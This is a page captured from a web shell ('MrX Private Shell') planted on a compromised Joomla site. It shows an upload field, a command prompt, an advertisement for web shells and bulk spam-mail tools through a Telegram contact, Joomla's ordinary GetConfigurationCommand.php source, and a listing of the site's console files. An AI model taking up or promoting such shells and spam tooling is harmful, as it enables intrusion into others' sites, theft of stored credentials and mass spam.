__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2020 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Console;

use Joomla\Console\Command\AbstractCommand;
use Symfony\Component\Console\Input\Input;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Console command for displaying configuration options
 *
 * @since  4.0.0
 */
class GetConfigurationCommand extends AbstractCommand
{
    /**
     * The default command name
     *
     * @var    string
     * @since  4.0.0
     */
    protected static $defaultName = 'config:get';

    /**
     * Stores the Input Object
     * @var Input
     * @since 4.0.0
     */
    private $cliInput;

    /**
     * SymfonyStyle Object
     * @var SymfonyStyle
     * @since 4.0.0
     */
    private $ioStyle;

    /**
     * Constant defining the Database option group
     * @var array
     * @since 4.0.0
     */
    public const DB_GROUP = [
        'name'    => 'db',
        'options' => [
            'dbtype',
            'host',
            'user',
            'password',
            'dbprefix',
            'db',
            'dbencryption',
            'dbsslverifyservercert',
            'dbsslkey',
            'dbsslcert',
            'dbsslca',
            'dbsslcipher',
        ],
    ];

    /**
     * Constant defining the Session option group
     * @var array
     * @since 4.0.0
     */
    public const SESSION_GROUP = [
        'name'    => 'session',
        'options' => [
            'session_handler',
            'shared_session',
            'session_metadata',
        ],
    ];

    /**
     * Constant defining the Mail option group
     * @var array
     * @since 4.0.0
     */
    public const MAIL_GROUP = [
        'name'    => 'mail',
        'options' => [
            'mailonline',
            'mailer',
            'mailfrom',
            'fromname',
            'sendmail',
            'smtpauth',
            'smtpuser',
            'smtppass',
            'smtphost',
            'smtpsecure',
            'smtpport',
        ],
    ];

    /**
     * Return code if configuration is get successfully
     * @since 4.0.0
     */
    public const CONFIG_GET_SUCCESSFUL = 0;

    /**
     * Return code if configuration group option is not found
     * @since 4.0.0
     */
    public const CONFIG_GET_GROUP_NOT_FOUND = 1;

    /**
     * Return code if configuration option is not found
     * @since 4.0.0
     */
    public const CONFIG_GET_OPTION_NOT_FOUND = 2;

    /**
     * Return code if the command has been invoked with wrong options
     * @since 4.0.0
     */
    public const CONFIG_GET_OPTION_FAILED = 3;

    /**
     * Configures the IO
     *
     * @param   InputInterface   $input   Console Input
     * @param   OutputInterface  $output  Console Output
     *
     * @return void
     *
     * @since 4.0.0
     *
     */
    private function configureIO(InputInterface $input, OutputInterface $output)
    {
        $this->cliInput = $input;
        $this->ioStyle  = new SymfonyStyle($input, $output);
    }


    /**
     * Displays logically grouped options
     *
     * @param   string  $group  The group to be processed
     *
     * @return integer
     *
     * @since 4.0.0
     */
    public function processGroupOptions($group): int
    {
        $configs = $this->getApplication()->getConfig()->toArray();
        $configs = $this->formatConfig($configs);

        $groups = $this->getGroups();

        $foundGroup = false;

        foreach ($groups as $key => $value) {
            if ($value['name'] === $group) {
                $foundGroup = true;
                $options    = [];

                foreach ($value['options'] as $option) {
                    $options[] = [$option, $configs[$option]];
                }

                $this->ioStyle->table(['Option', 'Value'], $options);
            }
        }

        if (!$foundGroup) {
            $this->ioStyle->error("Group *$group* not found");

            return self::CONFIG_GET_GROUP_NOT_FOUND;
        }

        return self::CONFIG_GET_SUCCESSFUL;
    }

    /**
     * Gets the defined option groups
     *
     * @return array
     *
     * @since 4.0.0
     */
    public function getGroups()
    {
        return [
            self::DB_GROUP,
            self::MAIL_GROUP,
            self::SESSION_GROUP,
        ];
    }

    /**
     * Formats the configuration array into desired format
     *
     * @param   array  $configs  Array of the configurations
     *
     * @return array
     *
     * @since 4.0.0
     */
    public function formatConfig(array $configs): array
    {
        $newConfig = [];

        foreach ($configs as $key => $config) {
            $config = $config === false ? "false" : $config;
            $config = $config === true ? "true" : $config;

            if (!\in_array($key, ['cwd', 'execution'])) {
                $newConfig[$key] = $config;
            }
        }

        return $newConfig;
    }

    /**
     * Handles the command when a single option is requested
     *
     * @param   string  $option  The option we want to get its value
     *
     * @return integer
     *
     * @since 4.0.0
     */
    public function processSingleOption($option): int
    {
        $configs = $this->getApplication()->getConfig()->toArray();

        if (!\array_key_exists($option, $configs)) {
            $this->ioStyle->error("Can't find option *$option* in configuration list");

            return self::CONFIG_GET_OPTION_NOT_FOUND;
        }

        $value = $this->formatConfigValue($this->getApplication()->get($option));

        $this->ioStyle->table(['Option', 'Value'], [[$option, $value]]);

        return self::CONFIG_GET_SUCCESSFUL;
    }

    /**
     * Formats the Configuration value
     *
     * @param   mixed  $value  Value to be formatted
     *
     * @return string
     *
     * @since 4.0.0
     */
    protected function formatConfigValue($value): string
    {
        if ($value === false) {
            return 'false';
        }

        if ($value === true) {
            return 'true';
        }

        if ($value === null) {
            return 'Not Set';
        }

        if (\is_array($value)) {
            return json_encode($value);
        }

        if (\is_object($value)) {
            return json_encode(get_object_vars($value));
        }

        return $value;
    }

    /**
     * Initialise the command.
     *
     * @return  void
     *
     * @since   4.0.0
     */
    protected function configure(): void
    {
        $groups = $this->getGroups();

        foreach ($groups as $key => $group) {
            $groupNames[] = $group['name'];
        }

        $groupNames = implode(', ', $groupNames);

        $this->addArgument('option', null, 'Name of the option');
        $this->addOption('group', 'g', InputOption::VALUE_REQUIRED, 'Name of the option');

        $help = "<info>%command.name%</info> displays the current value of a configuration option
				\nUsage: <info>php %command.full_name%</info> <option>
				\nGroup usage: <info>php %command.full_name%</info> --group <groupname>
				\nAvailable group names: $groupNames";

        $this->setDescription('Display the current value of a configuration option');
        $this->setHelp($help);
    }

    /**
     * Internal function to execute the command.
     *
     * @param   InputInterface   $input   The input to inject into the command.
     * @param   OutputInterface  $output  The output to inject into the command.
     *
     * @return  integer  The command exit code
     *
     * @since   4.0.0
     */
    protected function doExecute(InputInterface $input, OutputInterface $output): int
    {
        $this->configureIO($input, $output);

        $configs = $this->formatConfig($this->getApplication()->getConfig()->toArray());

        $option = $this->cliInput->getArgument('option');
        $group  = $this->cliInput->getOption('group');

        if ($group) {
            return $this->processGroupOptions($group);
        }

        if ($option) {
            return $this->processSingleOption($option);
        }

        if (!$option && !$group) {
            $options = [];

            array_walk(
                $configs,
                function ($value, $key) use (&$options) {
                    $options[] = [$key, $this->formatConfigValue($value)];
                }
            );

            $this->ioStyle->title("Current options in Configuration");
            $this->ioStyle->table(['Option', 'Value'], $options);

            return self::CONFIG_GET_SUCCESSFUL;
        }

        return self::CONFIG_GET_OPTION_NOT_FOUND;
    }
}

Filemanager

Name Type Size Permission Actions
Loader Folder 0775
AddUserCommand.php File 8.49 KB 0664
AddUserToGroupCommand.php File 7.98 KB 0664
ChangeUserPasswordCommand.php File 4.32 KB 0664
CheckJoomlaUpdatesCommand.php File 4.81 KB 0664
CheckUpdatesCommand.php File 3.36 KB 0664
CleanCacheCommand.php File 2.68 KB 0664
CoreUpdateChannelCommand.php File 5.05 KB 0664
DeleteUserCommand.php File 5.72 KB 0664
ExtensionDiscoverCommand.php File 3.51 KB 0664
ExtensionDiscoverInstallCommand.php File 6.38 KB 0664
ExtensionDiscoverListCommand.php File 2.89 KB 0664
ExtensionInstallCommand.php File 5.82 KB 0664
ExtensionRemoveCommand.php File 5.84 KB 0664
ExtensionsListCommand.php File 6.03 KB 0664
FinderIndexCommand.php File 15.36 KB 0664
GetConfigurationCommand.php File 8.81 KB 0664
ListUserCommand.php File 3.85 KB 0664
MaintenanceDatabaseCommand.php File 4.7 KB 0664
RemoveOldFilesCommand.php File 4.74 KB 0664
RemoveUserFromGroupCommand.php File 8.67 KB 0664
SessionGcCommand.php File 3.62 KB 0664
SessionMetadataGcCommand.php File 2.87 KB 0664
SetConfigurationCommand.php File 11.95 KB 0664
SiteCreatePublicFolderCommand.php File 4.41 KB 0664
SiteDownCommand.php File 2.84 KB 0664
SiteUpCommand.php File 2.82 KB 0664
TasksListCommand.php File 4.08 KB 0664
TasksRunCommand.php File 5.08 KB 0664
TasksStateCommand.php File 5.71 KB 0664
UpdateCoreCommand.php File 13.54 KB 0664
Filemanager